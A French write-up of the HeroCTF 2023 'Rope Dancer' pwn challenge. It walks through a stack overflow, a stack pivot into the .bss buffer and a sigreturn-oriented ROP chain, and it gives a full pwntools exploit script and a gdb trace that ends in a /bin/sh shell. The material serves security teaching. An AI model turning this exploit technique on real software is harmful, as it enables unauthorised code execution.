Contents

heroctf 2023 - ROPE dancer

ROP dancer

Introduction

Ce challenge était proposé dans la catégorie pwn de heroctf 2023.

Il illustre très bien la technique de pivot et l’usage de l’appel système sig_return.

L’énoncé :

Rope Dancer
500
medium

A circus has just opened near you and you would love to work there as a rope dancer. Perhaps you could access their recruitment criteria to maximize your chances of being selected?

Host : nc static-03.heroctf.fr 5002
Format : Hero{flag}
Author : SoEasY

le matériel : ropedancer.zip

Découverte

Première execution

Hello. So, you want to be a ROPedancer? yes
Alright. Please enter an email on which we can contact you: aaaa@bbb
Thanks. You have 400 characters to convince me to hire you: OKOKOK
We will get back to you soon. Good bye.

Le programme demande la saisie d’une adresse mail puis un long message.

Protections

gef➤  checksec
[+] checksec for '/home/jce/w/heroctf2023/pwn/rope_dancer/ropedancer'
[*] .gef-2b72f5d0d9f0f218a91cd1ca5148e45923b950d5.py:L8764 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
Canary                        : ✘ 
NX                            : ✘ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : ✘

L’executable

file ropedancer
ropedancer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped</pre>

Le progamme est lié statiquement et ne dépend donc aps le la libc.

readelf -h ropedancer
En-tête ELF:
Magique:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
Classe:                            ELF64
Données:                          complément à 2, système à octets de poids faible d'abord (little endian)
Version:                           1 (actuelle)
OS/ABI:                            UNIX - System V
Version ABI:                       0
Type:                              EXEC (fichier exécutable)
Machine:                           Advanced Micro Devices X86-64
Version:                           0x1
Adresse du point d'entrée:         0x401016
Début des en-têtes de programme :  64 (octets dans le fichier)
Début des en-têtes de section :    9584 (octets dans le fichier)
Fanions:                           0x0
Taille de cet en-tête:             64 (octets)
Taille de l'en-tête du programme:  56 (octets)
Nombre d'en-tête du programme:     4
Taille des en-têtes de section:    64 (octets)
Nombre d'en-têtes de section:      7
Table d'index des chaînes d'en-tête de section: 6

On peut regarder les sections qui le constituent :

readelf -s ropedancer

La table de symboles « .symtab » contient 30 entrées :
Num:    Valeur         Tail Type    Lien   Vis      Ndx Nom
    0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
    1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS ropedancer.asm
    2: 0000000000402000     0 NOTYPE  LOCAL  DEFAULT    2 hello
    3: 0000000000000029     0 NOTYPE  LOCAL  DEFAULT  ABS hello_len
    4: 0000000000402029     0 NOTYPE  LOCAL  DEFAULT    2 answer_no
    5: 000000000000002c     0 NOTYPE  LOCAL  DEFAULT  ABS answer_no_len
    6: 0000000000402055     0 NOTYPE  LOCAL  DEFAULT    2 answer_yes
    7: 000000000000003d     0 NOTYPE  LOCAL  DEFAULT  ABS answer_yes_len
    8: 0000000000402092     0 NOTYPE  LOCAL  DEFAULT    2 letter_message
    9: 000000000000003d     0 NOTYPE  LOCAL  DEFAULT  ABS letter_message_len
    10: 00000000004020cf     0 NOTYPE  LOCAL  DEFAULT    2 error_email
    11: 0000000000000031     0 NOTYPE  LOCAL  DEFAULT  ABS error_email_len
    12: 0000000000402100     0 NOTYPE  LOCAL  DEFAULT    2 good_bye
    13: 0000000000000029     0 NOTYPE  LOCAL  DEFAULT  ABS good_bye_len
    14: 000000000040312c     0 NOTYPE  LOCAL  DEFAULT    3 motivation_letter
    15: 0000000000401000     0 NOTYPE  LOCAL  DEFAULT    1 check_email
    16: 0000000000401002     0 NOTYPE  LOCAL  DEFAULT    1 _continue
    17: 0000000000401011     0 NOTYPE  LOCAL  DEFAULT    1 _found
    18: 0000000000401015     0 NOTYPE  LOCAL  DEFAULT    1 _not_found
    19: 0000000000401031     0 NOTYPE  LOCAL  DEFAULT    1 _get_choice
    20: 000000000040105c     0 NOTYPE  LOCAL  DEFAULT    1 _choice_yes
    21: 0000000000401074     0 NOTYPE  LOCAL  DEFAULT    1 _choice_no
    22: 0000000000401085     0 NOTYPE  LOCAL  DEFAULT    1 _exit
    23: 000000000040108e     0 NOTYPE  LOCAL  DEFAULT    1 get_motivation_letter
    24: 00000000004010fb     0 NOTYPE  LOCAL  DEFAULT    1 _bad_email
    25: 0000000000401114     0 NOTYPE  LOCAL  DEFAULT    1 _get_motivation_[...]
    26: 0000000000401016     0 NOTYPE  GLOBAL DEFAULT    1 _start
    27: 0000000000403129     0 NOTYPE  GLOBAL DEFAULT    3 __bss_start
    28: 0000000000403129     0 NOTYPE  GLOBAL DEFAULT    3 _edata
    29: 00000000004032c0     0 NOTYPE  GLOBAL DEFAULT    3 _end

C’est un programme qui a été écrit en assembleur.

Decompilation

function _start:
0x0000000000401016 <+0>:	mov    eax,0x1
0x000000000040101b <+5>:	mov    edi,0x1
0x0000000000401020 <+10>:	movabs rsi,0x402000 ; "Hello. So, you want to be a ROPedancer? "
0x000000000040102a <+20>:	mov    edx,0x29
0x000000000040102f <+25>:	syscall             

0x401016 <_start>:	mov    eax,0x1
0x40101b <_start+5>:	mov    edi,0x1
0x401020 <_start+10>:	movabs rsi,0x402000
0x40102a <_start+20>:	mov    edx,0x29
0x40102f <_start+25>:	syscall                 ; syscall(sys_write,1, hello, 41)  
    
0x401031 <_get_choice>:	sub    rsp,0x4
0x401035 <_get_choice+4>:	xor    eax,eax
0x401037 <_get_choice+6>:	xor    edi,edi
0x401039 <_get_choice+8>:	mov    rsi,rsp
0x40103c <_get_choice+11>:	mov    edx,0x4
0x401041 <_get_choice+16>:	syscall             ; syscall(sys_read,0, stack, 4)
0x401043 <_get_choice+18>:	mov    ebx,DWORD PTR [rsp]
0x401046 <_get_choice+21>:	add    rsp,0x4      ;
0x40104a <_get_choice+25>:	mov    eax,0x1
0x40104f <_get_choice+30>:	mov    edi,0x1
0x401054 <_get_choice+35>:	cmp    ebx,0xa736579         ; "yes
0x40105a <_get_choice+41>:	jne    0x401074 <_choice_no>

0x40105c <_choice_yes>:	movabs rsi,0x402055   ""Alright. Please enter an email on which we can contact you: "
0x401066 <_choice_yes+10>:	mov    edx,0x3d
0x40106b <_choice_yes+15>:	syscall            ; syscall(sys_write, alwrigth, 62)
0x40106d <_choice_yes+17>:	call   0x40108e <get_motivation_letter>
0x401072 <_choice_yes+22>:	jmp    0x401085 <_exit>

0x401074 <_choice_no>:	movabs rsi,0x402029
0x40107e <_choice_no+10>:	mov    edx,0x2c
0x401083 <_choice_no+15>:	syscall 

0x401085 <_exit>:	xor    edi,edi
0x401087 <_exit+2>:	mov    eax,0x3c     ; sys_exit
0x40108c <_exit+7>:	syscall 

0x40108e <get_motivation_letter>:	push   rbp
0x40108f <get_motivation_letter+1>:	mov    rbp,rsp
0x401092 <get_motivation_letter+4>:	sub    rsp,0x10              ; stack : 0x10
0x401096 <get_motivation_letter+8>:	xor    eax,eax               ; sys_read
0x401098 <get_motivation_letter+10>:	xor    edi,edi
0x40109a <get_motivation_letter+12>:	mov    rsi,rsp
0x40109d <get_motivation_letter+15>:	mov    edx,0x64              ; 100
0x4010a2 <get_motivation_letter+20>:	syscall                      ; syscall(sys_read, stack, 100)
0x4010a4 <get_motivation_letter+22>:	mov    rdi,rsp
0x4010a7 <get_motivation_letter+25>:	call   0x401000 <check_email>
0x4010ac <get_motivation_letter+30>:	test   eax,eax
0x4010ae <get_motivation_letter+32>:	je     0x4010fb <_bad_email>
0x4010b0 <get_motivation_letter+34>:	xor    eax,eax
0x4010b2 <get_motivation_letter+36>:	inc    al
0x4010b4 <get_motivation_letter+38>:	xor    edi,edi
0x4010b6 <get_motivation_letter+40>:	inc    edi
0x4010b8 <get_motivation_letter+42>:	movabs rsi,0x402092         ; letter_message
0x4010c2 <get_motivation_letter+52>:	mov    edx,0x3d
0x4010c7 <get_motivation_letter+57>:	syscall                     ; sys_write(letter_message)
0x4010c9 <get_motivation_letter+59>:	xor    eax,eax
0x4010cb <get_motivation_letter+61>:	xor    edi,edi
0x4010cd <get_motivation_letter+63>:	movabs rsi,0x40312c         ; motivation_letter
0x4010d7 <get_motivation_letter+73>:	mov    edx,0x1f4
0x4010dc <get_motivation_letter+78>:	syscall                     ; syscall(sys_read,0,400,
0x4010de <get_motivation_letter+80>:	mov    eax,0x1
0x4010e3 <get_motivation_letter+85>:	mov    edi,0x1
0x4010e8 <get_motivation_letter+90>:	movabs rsi,0x402100  ; "We will get back to you soon. Good bye.\n"
0x4010f2 <get_motivation_letter+100>:	mov    edx,0x29
0x4010f7 <get_motivation_letter+105>:	syscall 
0x4010f9 <get_motivation_letter+107>:	jmp    0x401114 <_get_motivation_letter_end>

0x4010fb <_bad_email>:	xor    eax,eax
0x4010fd <_bad_email+2>:	inc    al
0x4010ff <_bad_email+4>:	xor    edi,edi
0x401101 <_bad_email+6>:	inc    edi
0x401103 <_bad_email+8>:	movabs rsi,0x4020cf  ; "This is not a valid email, don't waste my time.\n"
0x40110d <_bad_email+18>:	mov    edx,0x31
0x401112 <_bad_email+23>:	syscall                      ; sys_write,"This..", 49)
0x401114 <_get_motivation_letter_end>:	mov    rsp,rbp
0x401117 <_get_motivation_letter_end+3>:	pop    rbp
0x401118 <_get_motivation_letter_end+4>:	ret 

On voit qu’on donc pas d’appel à des fonctions de la libc mais à des syscalls.

La faille : debordement sur la saisie de l’adresse mail.

On a un lecture de 100 octets

0x40109d <get_motivation_letter+15>:	mov    edx,0x64              ; 100
0x4010a2 <get_motivation_letter+20>:	syscall                      ; syscall(sys_read, stack, 100)

A une adresse située à 16 octets du sommet de la pile (SRBP).

0x401092 <get_motivation_letter+4>:	sub    rsp,0x10              ; stack : 0x10

l’adresse de retour est à 0x18 octets du debut de l’adresse mail.

On peut envisager d’installer un shellcode dans la lettre de motivation qui peut faire 400 octets.

0x4010d7 <get_motivation_letter+73>:	mov    edx,0x1f4            ; 400
0x4010dc <get_motivation_letter+78>:	syscall                     ; syscall(sys_read,0,400)

MAIS la zone lettre de motivation est dans la section .bss donc pas executable. On ne peut donc pas installer de shellcode dedans

On peut envisager une chaine de ROP pour cela on dispose de peu de gadgets. On un appel syscall

0x000000000040102f : syscall

De quoi maitriser eax

0x0000000000401011 : xor eax, eax ; inc al ; ret
0x0000000000401013 : inc al ; ret

Mais pas de pop rdi, pop rsi.

L’idée est d’utiliser le syscall 15 sys_rt_sigreturn pour restaurer une frame de registre.

0n peut alors installer la chaine bin/sh dans la lettre

Le payload est alors :

  • debordement
  • xor_eax pour mettre eax à zero
  • inc eax 15 fois. pour obtenir eax=15
  • syscall
  • Une frame sig_return.

On a rencontré l’usage de sig_return dans le challenge HTB “sick rop” pwntools fournit un outil pour construire la frame sig_return.

Pour enchainer sur un syscall execve :

frame = SigreturnFrame(arch='amd64')
frame.rax = 0x3b
frame.rdi = motivation_letter
frame.rsi = 0
frame.rdx = 0
frame.rip = gadget_syscall

Helas ce payload depasse largement la limite de 100 octets de la lecture de l’email. On est a 400 octets (tiens donc ca ca tient dans le second message)

Pivot

On de quoi realiser un pivot en particulier vers la zone lettre de motivation. 0x0000000000401114 : mov rsp, rbp ; pop rbp ; ret

On doit donc opérer en deux etapes :

I. Pivot vers la zone lettre de motivation. II. Ropchaine sig_return execve

I. Pivot le gadget pivot : mov esp, ebp ; pop rbp ; ret On va donc ecraser SRBP avec la valeur cible pour ESP donc motivation_letter Apres le gadget on aura rsp=motivation letter et rbp les 8 premiers octets de motivation_letter ("/bin/sh\0") payload 1:

  • 0X10*"@"
  • motivation_letter
  • gadget spivot

II. Second payload.

Pour appeller syscall il nou faut mettre rax à la valeur 15.

On ne trouve pas de gadget “pop rax” par exemple mais in “xor rax” et un “inc”. Ou plus précisément xor eax; inc eax; ret donc

La chaine constituant le second est donc :

  • “/bin/sh\0” : pour le exec_ve et sauté par le pop rbp
  • xor_eax; inc eax;
  • inc eax 14 fois. pour obtenir eax=15 le no de syscall
  • syscall
  • La frame sig_return.

Exploitation

### Script python

from pwn import *
import time

REMOTE=True
REMOTE=False
DEBUG=True

xs='''
b *get_motivation_letter+25
'''

#context.log_level='debug'
context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]
binfile="./ropedancer"

elf=ELF(binfile)
m_letter = elf.symbols['motivation_letter']

if REMOTE:
	io=remote("static-03.heroctf.fr",5001)
else:
    env = {"LD_PRELOAD": "./libc.so.6"}
    if DEBUG:
	    #io=process(binfile)
	    #gdb.attach(io,xs)
	    #time.sleep(.5)
	    io = gdb.debug(binfile,gdbscript=xs, env=env)
    else:
	    io=process(binfile, env=env)


io.recvuntil(b"ROPedancer?")
io.sendline(b"yes")

xor_eax=0x401011 # xor eax; inc al;ret
inc_al=0x401013
syscall=0x40102f
pivot=0x0401114 # mov esp, ebp ; pop rbp ; ret

# pwntool contient un object SigreturnFrame bien pratique.
frame = SigreturnFrame(arch='amd64')
frame.rax = 0x3b
frame.rdi = m_letter
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall


# Payload 1 : email adresse
PL=b"@"*0x10                # Debordement juste RBP
PL+=p64(m_letter)           # Pour pop rbp justement
PL+=p64(pivot)              # mov esp, ebp ; pop rbp ; ret
print("PL SIZE:",len(PL))
#exit()

log.info("send email ...")
io.recvuntil(b"contact you:")
io.sendline(PL)


# Send ropchain to second message
io.recvuntil(b"hire you:")

PL2=b"/bin/sh\0"
PL2+=p64(xor_eax)     # # xor eax; inc al;ret en vrai
PL2+=p64(inc_al)*14
PL2+=p64(syscall)
PL2+=bytes(frame)
io.sendline(PL2)

io.sendline(b"id")

io.interactive()

Execution en pas à pas

BP sur la fin de get_motivation_letter.

    0x4010e8 <get_motivation_letter+90> movabs rsi, 0x402100
    0x4010f2 <get_motivation_letter+100> mov    edx, 0x29
    0x4010f7 <get_motivation_letter+105> syscall 
=>  0x4010f9 <get_motivation_letter+107> jmp    0x401114 <_get_motivation_letter_end>
    0x4010fb <_bad_email+0>   xor    eax, eax
    0x4010fd <_bad_email+2>   inc    al
    0x4010ff <_bad_email+4>   xor    edi, edi
    0x401101 <_bad_email+6>   inc    edi
    0x401103 <_bad_email+8>   movabs rsi, 0x4020cf

Suivie du code de fin de fonction :

=>  0x401114 <_get_motivation_letter_end+0> mov    rsp, rbp
    0x401117 <_get_motivation_letter_end+3> pop    rbp
    0x401118 <_get_motivation_letter_end+4> ret   

Etat de la pile après notre débordement :

0x7ffcbdf01d60: 0x4040404040404040      0x4040404040404040
0x7ffcbdf01d70: 0x000000000040312c      0x0000000000401114
                @Save RBP               @save RIP
                motivation_letter       gadget_pivot
0x7ffcbdf01d80: 0x000000000000000a      0x00007ffcbdf02fc7
0x7ffcbdf01d90: 0x0000000000000000      0x00007ffcbdf02fd4

Visu du gadget pivot :

x/3i 0x0000000000401114 0x401114 <_get_motivation_letter_end>: mov rsp,rbp 0x401117 <_get_motivation_letter_end+3>: pop rbp 0x401118 <_get_motivation_letter_end+4>: ret

next instuction

=>  0x401117 <_get_motivation_letter_end+3> pop    rbp
    0x401118 <_get_motivation_letter_end+4> ret 

rsp = rbp

$rsp   : 0x007ffcbdf01d70  →  0x0000000040312c  →  0x68732f6e69622f ("/bin/sh"?)

ni (pop rbp)

=>   0x401118 <_get_motivation_letter_end+4> ret

$rsp   : 0x007ffcbdf01d78  →  0x0000000040111  →  <_get_motivation_letter_end> mov rsp, rbp
$rbp   : 0x0000000040312c  →  0x68732f6e69622f ("/bin/sh"?)

On est pret pour le pivot. Le ret va réaliser un “pop rsp” vers le gadget pivot. On voit que rbp pointe sur “/bin/sh” au debut de motivation_letter.

ni (ret)

=> 0x401114 <_get_motivation_letter_end+0> mov    rsp, rbp
   0x401117 <_get_motivation_letter_end+3> pop    rbp
   0x401118 <_get_motivation_letter_end+4> ret  

On appelle le gadget pivot.

ni (mov rsp, rbp)

=> 0x401117 <_get_motivation_letter_end+3> pop    rbp
   0x401118 <_get_motivation_letter_end+4> ret  

La pile est sur motivation_letter.

0x0000000040312c│+0x0000: 0x68732f6e69622f ("/bin/sh"?)  ← $rsp, $rbp
0x00000000403134│+0x0008: 0x00000000401011  →  <_found+0> xor eax, eax
0x0000000040313c│+0x0010: 0x00000000401013  →  <_found+2> inc al
0x00000000403144│+0x0018: 0x00000000401013  →  <_found+2> inc al
0x0000000040314c│+0x0020: 0x00000000401013  →  <_found+2> inc al
0x00000000403154│+0x0028: 0x00000000401013  →  <_found+2> inc al
0x0000000040315c│+0x0030: 0x00000000401013  →  <_found+2> inc al
0x00000000403164│+0x0038: 0x00000000401013  →  <_found+2> inc al

ni (pop rbp)

rsp point maintenant le xor et rbp contient contient “/bin/sh” (sans utilité)

$rsp   : 0x00000000403134  →  0x00000000401011  →  <_found+0> xor eax, eax
$rbp   : 0x68732f6e69622f  

On a mainenant basculé la pile sur notre chaine de ROP.

On saute les 15 incréments

ni 31

   0x401117 <_get_motivation_letter_end+3> pop    rbp
   0x401118 <_get_motivation_letter_end+4> ret  

On arrive sur le syscall.

   0x40101b <_start+5>       mov    edi, 0x1
   0x401020 <_start+10>      movabs rsi, 0x402000
   0x40102a <_start+20>      mov    edx, 0x29
=> 0x40102f <_start+25>      syscall 

On a bien rax=15

$rax   : 0xf

Et sur la pile : la structure de frame

0x4031b4:       0x0000000000000000      0x0000000000000000
0x4031c4:       0x0000000000000000      0x0000000000000000
0x4031d4:       0x0000000000000000      0x0000000000000000
0x4031e4:       0x0000000000000000      0x0000000000000000
0x4031f4:       0x0000000000000000      0x0000000000000000
0x403204:       0x0000000000000000      0x0000000000000000
0x403214:       0x0000000000000000      0x000000000040312c < rsi "/bin/sh"
0x403224:       0x0000000000000000      0x0000000000000000
0x403234:       0x0000000000000000      0x0000000000000000
0x403244:       0x000000000000003b<rax  0x0000000000000000
0x403254:       0x0000000000000000      0x000000000040102f < rip
0x403264:       0x0000000000000000      0x0000000000000033
0x403274:       0x0000000000000000      0x0000000000000000
0x403284:       0x0000000000000000      0x0000000000000000
0x403294:       0x0000000000000000      0x0000000000000000
0x4032a4:       0x0000000000000000      0x000000000a64690a
0x4032b4:       0x0000000000000000      0x0000000000000000
0x4032c4:       0x0000000000000000      0x0000000000000000
0x4032d4:       0x0000000000000000      0x0000000000000000
0x4032e4:       0x0000000000000000      0x0000000000000000


A l'instruction suivante les registres sont restaurés :

si

$rax   : 0x3b              
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x0               
$rbp   : 0x0               
$rsi   : 0x0               
$rdi   : 0x0000000040312c  →  0x68732f6e69622f ("/bin/sh"?)
$rip   : 0x0000000040102f  →  <_start+25> syscall 
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x0               
$r12   : 0x0               
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0  

Et go …

   process 42829 is executing new program: /usr/bin/dash
...